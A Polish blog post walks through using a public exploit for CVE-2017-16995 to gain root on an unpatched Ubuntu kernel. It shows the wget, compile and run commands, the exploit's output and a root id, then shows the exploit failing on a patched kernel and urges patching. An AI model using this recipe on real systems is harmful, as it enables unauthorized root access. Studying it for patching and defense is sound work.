Exploit na jądro Linux – podniesienie uprawnień do roota
by admin · Grudzień 27, 2017
Pod poniższym linkiem można znaleźć gotowy exploit wykorzystujący podatność CVE-2017-16995
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
Podatność CVE-2017-16995 została opisana dla systemu Debian pod podanym adresem:
https://security-tracker.debian.org/tracker/CVE-2017-16995
Błąd dotyczy wersji jądra >= 4.9. Listę podatnych jądr można znaleźć pod tym linkiem:
https://www.securityfocus.com/bid/102288
Więcej informacji o podatności można znaleźć tutaj:
http://seclists.org/oss-sec/2017/q4/429
EXPLOIT
Jak wykorzystać exploita, pokaże na przykładzie systemu operacyjnego Ubuntu z jądrem w wersji 4.10.0-041000-generic
Najpierw ściągnijmy kod exploita:
kuba@Ubuntu-1:~$ wget https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c
--2017-12-28 13:03:10-- https://raw.githubusercontent.com/brl/grlh/master/get-rekt-linux-hardened.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11540 (11K) [text/plain]
Saving to: ‘get-rekt-linux-hardened.c’
get-rekt-linux-hard 100%[===================>] 11.27K --.-KB/s in 0.002s
2017-12-28 13:03:10 (7.06 MB/s) - ‘get-rekt-linux-hardened.c’ saved [11540/11540]
kuba@Ubuntu-1:~$ ls -l
total 148
-rw-rw-r-- 1 kuba kuba 150547 Dec 28 12:55 get-rekt-linux-hardened.c
Jak widać mój użytkownik to kuba, sprawdźmy wynik komendy id dla tego użytkownika:
kuba@Ubuntu-1:~$ id
uid=1000(kuba) gid=1000(kuba) groups=1000(kuba)
Widzimy, że użytkownik nie jest rootem, możemy więc spróbować uruchomić exploit i zdobyć uprawnienia roota.
URUCHOMIENIE EXPLOITA
Exploita musimy skompilować, a następnie uruchomić. Do kompilowania użyjemy kompilatora gcc dostępnego w systemie:
kuba@Ubuntu-1:~$ gcc -o get-rekt-linux-hardened.o get-rekt-linux-hardened.c
get-rekt-linux-hardened.c: In function ‘writemsg’:
get-rekt-linux-hardened.c:334:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘ssize_t {aka long int}’ [-Wformat=]
fprintf(stderr, "short write: %d\n", n);
^
kuba@Ubuntu-1:~$
Przy kompilacji dostaliśmy ostrzeżenie, jednak nie musimy się nim przejmować, kod został skompilowany i w wyniku działania powyższej komendy otrzymaliśmy plik: get-rekt-linux-hardened.o
Teraz pozostało tylko uruchomienie pliku:
kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] Leaking sock struct from ffff9a4db123d800
[*] found sock->sk_rcvtimeo at offset 592
[*] found sock->sk_peer_cred
[*] hammering cred structure at ffff9a4db78f46c0
[*] credentials patched, launching shell...
#
Udało się !. Znak # sugeruje że jesteśmy teraz w shellu roota, sprawdźmy to wykonując komendę id:
# id
uid=0(root) gid=0(root) groups=0(root)
PODSUMOWANIE
Jest to świeży BUG (został upubliczniony 21.12.2017). W momencie pisania tego artykułu istnieje załatane jądro do Ubuntu w wersji 4.15-rc5. Jak zaktualizować jądro pokazywałem we wpisie: https://kubsoo.github.io/rsnet-website/ubuntu-aktualizacja-jadra-na-szybko/
Sprawdźmy jak zachowa się ten sam exploit na zaktualizowanym jądrze:
kuba@Ubuntu-1:~$ uname -a
Linux Ubuntu-1 4.15.0-041500rc5-generic #201712240530 SMP Sun Dec 24 05:31:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
kuba@Ubuntu-1:~$ ./get-rekt-linux-hardened.o
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] log:
0: (b4) (u32) r2 = (u32) -1
1: (55) if r2 != 0xffffffff goto pc+2
R1=ctx(id=0,off=0,imm=0) R2=inv-1 R10=fp0
2: (b7) r0 = 0
3: (95) exit
from 1 to 4: R1=ctx(id=0,off=0,imm=0) R2=inv4294967295 R10=fp0
4: (7b) *(u64 *)(r10 -16) = r1
5: (18) r9 = 0x0
7: (bf) r1 = r9
8: (bf) r2 = r10
9: (07) r2 += -4
10: (62) *(u32 *)(r10 -4) = 0
11: (85) call bpf_map_lookup_elem#1
12: (55) if r0 != 0x0 goto pc+1
R0=inv0 R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
13: (95) exit
from 12 to 14: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
14: (79) r6 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
15: (bf) r1 = r9
16: (bf) r2 = r10
17: (07) r2 += -4
18: (62) *(u32 *)(r10 -4) = 1
19: (85) call bpf_map_lookup_elem#1
20: (55) if r0 != 0x0 goto pc+1
R0=inv0 R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
21: (95) exit
from 20 to 22: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
22: (79) r7 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
23: (bf) r1 = r9
24: (bf) r2 = r10
25: (07) r2 += -4
26: (62) *(u32 *)(r10 -4) = 2
27: (85) call bpf_map_lookup_elem#1
28: (55) if r0 != 0x0 goto pc+1
R0=inv0 R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
29: (95) exit
from 28 to 30: R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
30: (79) r8 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv(id=0) R7=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
31: (bf) r2 = r0
32: (b7) r0 = 0
33: (55) if r6 != 0x0 goto pc+2
R0=inv0 R2=map_value(id=0,off=0,ks=4,vs=8,imm=0) R6=inv0 R7=inv(id=0) R8=inv(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=8) R10=fp0 fp-504=ctx
34: (7b) *(u64 *)(r2 +0) = r10
R10 leaks addr into map
[!] failed to load prog 'Permission denied'
Jak widać jądro w wersji 4.15.0-041500rc5-generic jest odporne na tego exploita, więc zachęcam do szybkiego patchowania.